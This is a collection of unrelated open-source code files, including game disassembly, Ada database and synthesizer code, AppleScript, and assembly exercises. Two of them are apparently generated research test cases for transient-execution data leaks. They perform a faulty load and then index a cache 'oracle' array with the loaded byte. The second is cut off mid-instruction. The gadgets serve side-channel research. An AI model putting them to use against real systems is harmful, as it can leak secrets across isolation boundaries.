<gh_stars>1-10 ; --------------------------------------------------------------------------- ; Subroutine to push Sonic down a slope while he's rolling ; --------------------------------------------------------------------------- ; ||||||||||||||| S U B R O U T I N E ||||||||||||||||||||||||||||||||||||||| Sonic_RollRepel: move.b obAngle(a0),d0 addi.b #$60,d0 cmpi.b #-$40,d0 bcc.s locret_13544 move.b obAngle(a0),d0 jsr (CalcSine).l muls.w #$50,d0 asr.l #8,d0 tst.w obInertia(a0) bmi.s loc_1353A tst.w d0 bpl.s loc_13534 asr.l #2,d0 loc_13534: add.w d0,obInertia(a0) rts ; =========================================================================== loc_1353A: tst.w d0 bmi.s loc_13540 asr.l #2,d0 loc_13540: add.w d0,obInertia(a0) locret_13544: rts ; End of function Sonic_RollRepel
src/ado-drivers-dialects.adb
Letractively/ada-ado
0
24467
<gh_stars>0 ----------------------------------------------------------------------- -- ADO Dialects -- Driver support for basic SQL Generation -- Copyright (C) 2010, 2011, 2012 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- package body ADO.Drivers.Dialects is -- -------------------- -- Check if the string is a reserved keyword. -- -------------------- function Is_Reserved (D : in Dialect; Name : in String) return Boolean is begin return D.Keywords.Contains (Name'Unrestricted_Access); end Is_Reserved; -- -------------------- -- Add a set of keywords to be escaped. -- -------------------- procedure Add_Keywords (D : in out Dialect; Keywords : in Keyword_Array) is begin for I in Keywords'Range loop D.Keywords.Insert (Keywords (I)); end loop; end Add_Keywords; -- -------------------- -- Get the quote character to escape an identifier. -- -------------------- function Get_Identifier_Quote (D : in Dialect) return Character is pragma Unreferenced (D); begin return '`'; end Get_Identifier_Quote; -- ------------------------------ -- Append the item in the buffer escaping some characters if necessary. -- The default implementation only escapes the single quote ' by doubling them. -- ------------------------------ procedure Escape_Sql (D : in Dialect; Buffer : in out Unbounded_String; Item : in String) is pragma Unreferenced (D); C : Character; begin for I in Item'Range loop C := Item (I); if C = ''' then Append (Buffer, '''); end if; Append (Buffer, C); end loop; end Escape_Sql; -- ------------------------------ -- Append the item in the buffer escaping some characters if necessary -- ------------------------------ procedure Escape_Sql (D : in Dialect; Buffer : in out Unbounded_String; Item : in ADO.Blob_Ref) is pragma Unreferenced (D); use type Ada.Streams.Stream_Element; C : Ada.Streams.Stream_Element; Blob : constant ADO.Blob_Access := Item.Value; begin for I in Blob.Data'Range loop C := Blob.Data (I); case C is when Character'Pos (ASCII.NUL) => Append (Buffer, '\'); Append (Buffer, '0'); when Character'Pos (ASCII.CR) => Append (Buffer, '\'); Append (Buffer, 'r'); when Character'Pos (ASCII.LF) => Append (Buffer, '\'); Append (Buffer, 'n'); when Character'Pos ('\') | Character'Pos (''') | Character'Pos ('"') => Append (Buffer, '\'); Append (Buffer, Character'Val (C)); when others => Append (Buffer, Character'Val (C)); end case; end loop; end Escape_Sql; end ADO.Drivers.Dialects;
Scripts Pack Source Items/Scripts Pack/Core Components/Metal Window Appearance (10.4.11).applescript
Phorofor/ScriptsPack.macOS
1
3047
<reponame>Phorofor/ScriptsPack.macOS<filename>Scripts Pack Source Items/Scripts Pack/Core Components/Metal Window Appearance (10.4.11).applescript # Scripts Pack - Tweak various preference variables in macOS # <Phorofor, https://github.com/Phorofor/> -- Allows the use of a metal window background for dialogs and the windows -- Use the Metal Window Appearance. Partially works. -- Versions compatible: Tiger (10.4.11)+ -- Preference Identifier: -- Preference Key: NSGrayBackground -- Preference location: ~/Library/Preferences/.GlobalPreferences.plist -- Default value (boolean): 0 set toggleBut to "Enable" set tZ to "enable" set sTz to "YES" set bT to "You chose to enable the metal window appearance." # set MacVer to do shell script "sw_vers -productVersion" set MacVer to "10.4.11" set Min to "10.4.11" as string if MacVer < Min then display alert "Outdated Mac OS Version!" message "You're using Mac OS " & MacVer & ". The metal window appearance isn't available for your current version of Mac OS. You must be using Mac OS Tiger " & Min & " or later in order for this to work!" buttons ["OK", "More Information"] as warning cancel button 1 do shell script "open http://support.apple.com/kb/TA24901" else try set prValue to do shell script "defaults read -g NSGrayBackground -bool" if prValue = "0" then set psValue to "The metal window appearance is disabled." else set psValue to "The metal window appearance is enabled. In places such as System Preferences, you'll be able to see the metal windows and dialogs." set toggleBut to "Disable" set tZ to "disable" set sTz to "NO" set bT to "You chose to disable the metal window appearance." end if on error set psValue to "The metal window appearance is disabled by default." end try display alert "Would you like to " & tZ & " the metal window appearance?" message "If enabled, most of the windows and dialog boxes will have a gray background appearance giving it a classic feel. This may not work for all applications." & return & return & psValue buttons {"Cancel", "Clear", toggleBut} cancel button 1 default button 3 if the button returned of the result is toggleBut then do shell script "defaults write -g NSGrayBackground -bool " & sTz else do shell script "defaults delete -g NSGrayBackground" set bT to "You've decided to clear the preference." end if display alert "Changes Applied" message bT & " The change will take effect the next time you open an application/restart an application that is in use. The change may not work for some applications." buttons ["OK"] end if
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2804.asm
ljhsiun2/medusa
9
174570
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1ac8e, %r11 nop nop nop nop nop and $19469, %r13 mov $0x6162636465666768, %rdx movq %rdx, %xmm3 movups %xmm3, (%r11) nop nop cmp $33538, %rax lea addresses_A_ht+0x428e, %rsi lea addresses_UC_ht+0x1d88e, %rdi nop nop nop dec %r14 mov $61, %rcx rep movsw nop nop nop nop and %r14, %r14 lea addresses_WT_ht+0x31c0, %rsi nop nop nop nop nop dec %rdx mov $0x6162636465666768, %rax movq %rax, %xmm7 and $0xffffffffffffffc0, %rsi vmovntdq %ymm7, (%rsi) cmp %rdx, %rdx lea addresses_WT_ht+0x188e, %r14 nop sub %rdi, %rdi mov (%r14), %si nop nop nop xor $36288, %r11 lea addresses_WC_ht+0x680e, %rsi lea addresses_normal_ht+0x368e, %rdi nop nop nop nop nop dec %r14 mov $43, %rcx rep movsw nop nop nop nop nop sub $13243, %rax lea addresses_D_ht+0x1646c, %rsi lea addresses_A_ht+0x1446, %rdi nop nop nop nop and %r13, %r13 mov $83, %rcx rep movsw nop cmp $51144, %r11 lea addresses_WC_ht+0x18622, %rsi lea addresses_D_ht+0x969a, %rdi clflush (%rdi) sub %r13, %r13 mov $50, %rcx rep movsw nop nop nop sub %rcx, %rcx lea addresses_D_ht+0x171be, %rsi lea addresses_normal_ht+0x108be, %rdi nop nop nop nop xor $55898, %rdx mov $122, %rcx rep movsq nop nop nop nop add %r13, %r13 lea addresses_D_ht+0x15f8e, %rdx xor $64452, %r14 mov $0x6162636465666768, %rax movq %rax, %xmm4 movups %xmm4, (%rdx) nop nop nop nop nop and %rcx, %rcx lea addresses_D_ht+0x19a0, %rcx inc %rdi mov (%rcx), %r14 dec %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %rax push %rbp push %rdi push %rsi // Store lea addresses_UC+0x818e, %r15 nop nop nop cmp %rbp, %rbp mov $0x5152535455565758, %rax movq %rax, %xmm7 movups %xmm7, (%r15) nop xor %r14, %r14 // Store lea addresses_UC+0xd48e, %rsi nop nop and %rdi, %rdi movw $0x5152, (%rsi) nop nop nop nop add $49177, %rax // Load lea addresses_WT+0x17604, %rdi nop nop nop nop nop and $46396, %r15 movups (%rdi), %xmm6 vpextrq $1, %xmm6, %rbp nop nop nop nop dec %rax // Load lea addresses_PSE+0x1598e, %rsi nop nop nop nop sub %rbp, %rbp mov (%rsi), %r14 nop nop nop nop nop xor $52277, %r15 // Faulty Load lea addresses_WT+0x88e, %r14 xor %r8, %r8 vmovups (%r14), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %rax lea oracles, %rsi and $0xff, %rax shlq $12, %rax mov (%rsi,%rax,1), %rax pop %rsi pop %rdi pop %rbp pop %rax pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': True, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 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39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
asm/patches/shopsanity.asm
erose524/sslib
0
174374
<gh_stars>0 .open "d_a_shop_sampleNP.rel" .org 0x11A0 ; in function that sets up the shopitem classes, check if this ; is an item that uses the patched extra wallet class bl check_needs_custom_storyflag_subtype ; patches to make the extra wallet class use the last 2 bytes of the shop sample list as storyflag to check if it's sold out .org 0xAA0 nop ; checks if the extra wallet bought counter is >= 3, even though this should never be met, nop the branch anyways ; end of function that gives the item, change it so that it sets the storyflag for having bought this shop item .org 0xACC lhz r31, 0xC(r3) ; load itemid lhz r3, 0x52(r3) ; load storyflag to set li r4, 1 ; storyflag will be set to true bl setStoryflagToValue mr r3, r31 li r4, -1 li r5, 0 bl giveItem lwz r0, 0x14(r1) lwz r31, 0xC(r1) lwz r30, 0x8(r1) mtlr r0 addi r1,r1,0x10 blr ; this is the function that checks, if the extra wallet class is supposed to be sold out ; and advance to the next item in the chain ; change it, so that it checks the storyflag from the shop sample list .org 0xA00 lhz r3, 0x0(r3) ; shop item id lis r4, SHOP_ITEMS@ha addi r4, r4, SHOP_ITEMS@l ; load shop item table mulli r3, r3, 0x54 ; array offset add r3, r3, r4 ; array offset lhz r4, 0x52(r3) ; load storyflag b checkStoryflagIsSet .close
programs/oeis/314/A314829.asm
karttu/loda
1
242709
; A314829: Coordination sequence Gal.4.41.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,9,14,18,22,27,31,36,41,45,50,54,58,63,67,72,77,81,86,90,94,99,103,108,113,117,122,126,130,135,139,144,149,153,158,162,166,171,175,180,185,189,194,198,202,207,211,216,221 mov $1,$0 mov $4,$0 mul $4,3 add $4,$0 mov $2,$4 mov $5,$0 pow $0,2 mul $0,3 div $1,8 add $2,1 mul $2,2 div $0,$2 add $0,$1 mov $1,$0 add $1,1 mov $3,$5 mul $3,4 add $1,$3
lab02.asm
m-ross/cis225p2
0
81080
<filename>lab02.asm TITLE lab02 ; Programmer: <NAME> ; Due: 28 Feb, 2014 ; Description: This program prompts the user for 4 integers then subtracts them from a hardcoded number. It displays a report that shows the date of the run as well as the result of the aforementioned operation. .MODEL SMALL .386 .STACK 64 ;========================== .DATA num EQU 1986 result DW ? prmptMsg DB 'Enter an integer: $' head DB 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 205, 13, 10, 'Number Subtractor', 13, 10, 36 ; before the title is a long double line--this used to be two different arrays, but that was pointless slash DB '/$' text DB 13, 10, 10, 'The resulting value is $' ; this also used to be two arrays ;========================== .CODE EXTRN GetDec : NEAR, PutDec : NEAR Main PROC NEAR mov ax, @data ; init data mov ds, ax ; segment register call Prompts ; prompt user for 3 integers call SumInput ; add numbers from user call Subtract ; subtract sum from constant call Report ; display report mov ax, 4c00h ; return code 0 int 21h Main ENDP ;========================== Prompts PROC NEAR mov dx, OFFSET prmptMsg ; display prompt mov ah, 9 int 21h call GetDec ; get input mov bx, ax ; put input in bx mov ah, 9 ; display prompt int 21h call GetDec ; get input mov cx, ax ; put input in cx mov ah, 9 ; display prompt int 21h call GetDec ; get input mov dx, ax ; put input in dx push dx ; save value mov dx, OFFSET prmptMsg ; display prompt mov ah, 9 int 21h pop dx call GetDec ; get input, and leave in ax ret ENDP ;========================== SumInput PROC NEAR add bx, ax ; add rest of inputs to the input in bx, and leave in bx add bx, cx add bx, dx ret ENDP ;========================== Subtract PROC NEAR mov ax, num ; prep num for subtraction sub ax, bx ; subtract sum of inputs mov result, ax ; store result in result ret ENDP ;========================== Report PROC NEAR mov dx, OFFSET head mov ah, 9 ; display heading int 21h mov ah, 2ah ; get date int 21h mov al, dh ; prepare month for display cbw ; zero ah so it's not displayed by PutDec call PutDec ; display month mov al, dl ; prepare day for display, but don't display yet mov dx, OFFSET slash ; display slash mov ah, 9 int 21h cbw ; reckon this's more efficient than "sub ah,ah" or "xor ah,ah"? call PutDec ; display day mov dx, OFFSET slash ; display slash mov ah, 9 int 21h mov ax, cx ; cx = year call PutDec ; display year mov dx, OFFSET text ; display slash mov ah, 9 int 21h mov ax, result ; prep result for display call PutDec ret ENDP ;========================== END Main
ada/common/midi_synthesizer.adb
FrankBuss/Ada_Synth
4
8906
package body MIDI_Synthesizer is function Create_Synthesizer return access Synthesizer is Ret : constant access Synthesizer := new Synthesizer; Base : Float := 8.1757989156; -- MIDI note C1 0 begin Ret.MIDI_Parser := Create_Parser (Ret); for I in Ret.MIDI_Notes'Range loop Ret.MIDI_Notes (I) := Base; Base := Base * 1.059463094359; -- 2^(1/12) end loop; return Ret; end Create_Synthesizer; function Next_Sample (Self : in out Synthesizer) return Float is Sample : Float; begin -- update generator Self.Generator0.PhaseAccumulator := Self.Generator0.PhaseAccumulator + Self.Generator0.PhaseIncrement; if Self.Generator0.PhaseAccumulator > 1.0 then Self.Generator0.PhaseAccumulator := Self.Generator0.PhaseAccumulator - 1.0; end if; -- update envelope case Self.ADSR0.State is when Idle => null; when Attack => Self.ADSR0.Level := Self.ADSR0.Level + Self.ADSR0.Attack; if Self.ADSR0.Level >= 1.0 then Self.ADSR0.State := Decay; Self.ADSR0.Level := 1.0; end if; when Decay => Self.ADSR0.Level := Self.ADSR0.Level - Self.ADSR0.Decay; if Self.ADSR0.Level <= Self.ADSR0.Sustain then Self.ADSR0.State := Sustain; Self.ADSR0.Level := Self.ADSR0.Sustain; end if; when Sustain => null; when Release => Self.ADSR0.Level := Self.ADSR0.Level - Self.ADSR0.Release; if Self.ADSR0.Level <= 0.0 then Self.ADSR0.State := Idle; Self.ADSR0.Level := 0.0; end if; end case; -- return next sample, clipped to -1/+1 Sample := (Self.Generator0.PhaseAccumulator - 0.5) * Self.ADSR0.Level; if Sample > 1.0 then Sample := 1.0; end if; if Sample < -1.0 then Sample := -1.0; end if; return Sample; end Next_Sample; procedure Parse_MIDI_Byte (Self : in out Synthesizer; Received : Unsigned_8) is begin Self.MIDI_Parser.Parse (Received); end Parse_MIDI_Byte; overriding procedure Note_On (Self : in out Synthesizer; Channel : Unsigned_8; Note : Unsigned_8; Velocity : Unsigned_8) is pragma Unreferenced (Channel); pragma Unreferenced (Velocity); begin Self.ADSR0.State := Attack; Self.ADSR0.Level := 0.0; Self.Generator0.PhaseIncrement := Self.MIDI_Notes (Integer (Note)) / Samplerate; end Note_On; overriding procedure Note_Off (Self : in out Synthesizer; Channel : Unsigned_8; Note : Unsigned_8; Velocity : Unsigned_8) is pragma Unreferenced (Channel); pragma Unreferenced (Note); pragma Unreferenced (Velocity); begin Self.ADSR0.State := Release; end Note_Off; -- Testing with an AKAI MPK mini: -- The 8 rotary encoders are working in absolute mode. -- The following valus are sent: -- B1 0x yz -- where x is the knob number (1..8) and yz is the value (0..7f) -- (all values hex). overriding procedure Control_Change (Self : in out Synthesizer; Channel : Unsigned_8; Controller_Number : Unsigned_8; Controller_Value : Unsigned_8) is pragma Unreferenced (Channel); begin case Controller_Number is when 1 => Self.ADSR0.Attack := Float (128 - Controller_Value) * 0.5 / Samplerate; when 2 => Self.ADSR0.Decay := Float (128 - Controller_Value) * 0.5 / Samplerate; when 3 => Self.ADSR0.Sustain := Float (Controller_Value) * 0.007; when 4 => Self.ADSR0.Release := Float (128 - Controller_Value) * 0.02 / Samplerate; when others => null; end case; end Control_Change; end MIDI_Synthesizer;
MP/LAB_001_Opt/Ver_Substring_Opcional.adb
usainzg/EHU
0
877
<reponame>usainzg/EHU<filename>MP/LAB_001_Opt/Ver_Substring_Opcional.adb<gh_stars>0 WITH Ada.Text_Io; USE Ada.Text_Io; procedure Ver_Substring_Opcional is -- salida: 11 booleanos(SE) -- post: corresponden a cada uno de los casos de pruebas dise�ados. -- pre: { True } function Substring_Sub( S : String; Sub : String) return Boolean is -- EJERCICIO 3- ESPECIFICA E IMPLEMENTA recursivamente el subprograma -- Substring_aa que decide si el string S contiene el substring 'aa'. BEGIN -- Completar if S'Size < Sub'Size then return False; end if; if S(S'First .. S'First + 1) = Sub then return True; end if; return Substring_Sub(S(S'First + 1 .. S'Last), Sub); end Substring_Sub; -- post: { True <=> Substring(S, Sub) } begin Put_Line("-------------------------------------"); Put("La palabra vacia no contiene el string 'aa': "); Put(Boolean'Image(Substring_Sub("", "aa"))); New_Line; New_Line; New_Line; Put_Line("-------------------------------------"); Put_Line("Palabras de 1 caracter"); Put("-- La palabra de 1 caracter 'a' no contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("a", "aa"))); New_Line; Put("-- La palabra de 1 caracter 'b' no contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("b", "aa"))); New_Line; New_Line; New_Line; Put_Line("-------------------------------------"); Put_Line("Palabras de varios caracteres"); Put("-- 'aaaa' contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("aaaa", "aa"))); New_Line; Put("-- 'bbbb' no contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("bbbb", "aa"))); New_Line; Put("-- 'abab' no contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("abab", "aa"))); New_Line; Put("-- 'baba' no contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("baba", "aa"))); New_Line; Put("-- 'abba' no contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("abba", "aa"))); New_Line; Put("-- 'aabb' contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("aabb", "aa"))); New_Line; Put("-- 'baab' contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("baab", "aa"))); New_Line; Put("-- 'bbaa' contiene el substring 'aa': "); Put(Boolean'Image(Substring_Sub("bbaa", "aa"))); New_Line; Put_Line("-------------------------------------"); end Ver_Substring_Opcional;
src/atlas-microblog-beans.ads
stcarrez/atlas
7
9601
<filename>src/atlas-microblog-beans.ads ----------------------------------------------------------------------- -- atlas-microblog-beans -- Beans for module microblog -- Copyright (C) 2012, 2017 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Ada.Strings.Unbounded; with Util.Beans.Basic; with Util.Beans.Objects; with Util.Beans.Methods; with AWA.Events; with Atlas.Microblog.Modules; with Atlas.Microblog.Models; package Atlas.Microblog.Beans is type Microblog_Bean is new Util.Beans.Basic.Bean and Util.Beans.Methods.Method_Bean with record Module : Atlas.Microblog.Modules.Microblog_Module_Access := null; Post : Atlas.Microblog.Models.Mblog_Ref; end record; type Microblog_Bean_Access is access all Microblog_Bean'Class; -- Get the value identified by the name. overriding function Get_Value (From : in Microblog_Bean; Name : in String) return Util.Beans.Objects.Object; -- Set the value identified by the name. overriding procedure Set_Value (From : in out Microblog_Bean; Name : in String; Value : in Util.Beans.Objects.Object); -- This bean provides some methods that can be used in a Method_Expression overriding function Get_Method_Bindings (From : in Microblog_Bean) return Util.Beans.Methods.Method_Binding_Array_Access; -- Post the microblog procedure Post (Bean : in out Microblog_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String); -- Post a message when some event is received. procedure Post (Bean : in out Microblog_Bean; Event : in AWA.Events.Module_Event'Class); -- Create the Microblog_Bean bean instance. function Create_Microblog_Bean (Module : in Atlas.Microblog.Modules.Microblog_Module_Access) return Util.Beans.Basic.Readonly_Bean_Access; -- Create the a bean to display the list of microblog posts. function Create_List_Bean (Module : in Atlas.Microblog.Modules.Microblog_Module_Access) return Util.Beans.Basic.Readonly_Bean_Access; end Atlas.Microblog.Beans;
sequence.asm
NotExactlySiev/psychofloat
1
166596
;;; Code for handling scripted events SequenceFrame: subroutine ldx sqtimer dex beq .advance stx sqtimer rts .advance .checkseq ldy sqidx lda sequence,y bne .nend ; are we in a sequence? rts .nend bmi .getmem ; is it just a simple set/offset? cmp #$20 bcs .nwait ; is it a control command? sta sqtimer iny sty sqidx rts .nwait cmp #$40 bcs .ncall ; is it a call command? iny sty sqidx and #$1f tax jsr CallFromTable jmp .checkseq .ncall cmp #$60 bcs .nplay ; is it a play command? ;; play code goes here .nplay ; if we reach here it's a set memory address command ; set the memory address and continue like a simple set/offset and #$1f sta tmp0 iny lda sequence,y sta tmp1 rol rol and #$1 tax lda tmp1 and #$3f sta sqvar0,x jmp .setval .getmem sta tmp1 and #$1f sta tmp0 lda sequence,y rol rol rol rol and #$1 tax .setval lda sqvar0,x tax lda tmp0 bit tmp1 bvs .offset sta $0,x jmp .opdone .offset clc adc $0,x sta $0,x jmp .opdone .reset .opdone iny sty sqidx bne .checkseq PlaySequence: subroutine ldy sqidx lda sequence,y beq .nalready ; if a sequence is already being played, do nothing rts .nalready ldy SequencesTable,x ldx #$ff txa pha dey .copy iny inx lda Sequences,y sta tmp3 and #$e0 cmp #$40 bne .nnest ; put the return index into stack and continue from new index tya pha lda tmp3 and #$1f tay lda SequencesTable,y tay dex dey bne .copy .nnest lda tmp3 sta sequence,x bne .copy ; if here, either a nest is closed or we're done pla cmp #$ff beq .done dex tay bne .copy .done ldy #0 sty sqidx iny sty sqtimer rts
msp430x2/msp430g2452/svd/msp430_svd-tlv_calibration_data.ads
ekoeppen/MSP430_Generic_Ada_Drivers
0
24090
-- This spec has been automatically generated from out.svd pragma Restrictions (No_Elaboration_Code); pragma Ada_2012; pragma Style_Checks (Off); with System; -- TLV Calibration Data package MSP430_SVD.TLV_CALIBRATION_DATA is pragma Preelaborate; --------------- -- Registers -- --------------- ----------------- -- Peripherals -- ----------------- -- TLV Calibration Data type TLV_CALIBRATION_DATA_Peripheral is record -- TLV CHECK SUM TLV_CHECKSUM : aliased MSP430_SVD.UInt16; -- TLV ADC10_1 TAG TLV_ADC10_1_TAG : aliased MSP430_SVD.Byte; -- TLV ADC10_1 LEN TLV_ADC10_1_LEN : aliased MSP430_SVD.Byte; -- TLV TAG_DCO30 TAG TLV_DCO_30_TAG : aliased MSP430_SVD.Byte; -- TLV TAG_DCO30 LEN TLV_DCO_30_LEN : aliased MSP430_SVD.Byte; end record with Volatile; for TLV_CALIBRATION_DATA_Peripheral use record TLV_CHECKSUM at 16#0# range 0 .. 15; TLV_ADC10_1_TAG at 16#1A# range 0 .. 7; TLV_ADC10_1_LEN at 16#1B# range 0 .. 7; TLV_DCO_30_TAG at 16#36# range 0 .. 7; TLV_DCO_30_LEN at 16#37# range 0 .. 7; end record; -- TLV Calibration Data TLV_CALIBRATION_DATA_Periph : aliased TLV_CALIBRATION_DATA_Peripheral with Import, Address => TLV_CALIBRATION_DATA_Base; end MSP430_SVD.TLV_CALIBRATION_DATA;
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2710.asm
ljhsiun2/medusa
9
174862
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x17832, %rsi lea addresses_D_ht+0x19b2, %rdi nop nop and $60497, %rbx mov $50, %rcx rep movsw nop nop nop nop nop and %r15, %r15 lea addresses_A_ht+0xcba2, %rsi lea addresses_D_ht+0x6eb2, %rdi nop nop dec %r15 mov $74, %rcx rep movsw nop cmp %rcx, %rcx lea addresses_A_ht+0x152b2, %r10 nop nop nop cmp $24956, %rdi mov $0x6162636465666768, %rbx movq %rbx, %xmm1 vmovups %ymm1, (%r10) nop nop nop nop nop cmp $57100, %r10 lea addresses_normal_ht+0x1dfc2, %rbx nop add %r14, %r14 mov (%rbx), %r10d nop nop nop nop nop xor %r15, %r15 lea addresses_WC_ht+0x22b2, %rbx sub %r15, %r15 movb (%rbx), %cl nop xor %rsi, %rsi lea addresses_normal_ht+0x6b2, %rsi clflush (%rsi) nop nop nop nop cmp $44394, %r15 movl $0x61626364, (%rsi) nop nop nop nop nop add $13129, %rdi lea addresses_WC_ht+0x1e032, %rdi nop nop nop nop nop cmp %r15, %r15 movw $0x6162, (%rdi) nop nop nop nop and %rdi, %rdi lea addresses_WT_ht+0x16eb2, %rsi nop nop add $50865, %rdi mov (%rsi), %r10 nop nop nop inc %rsi lea 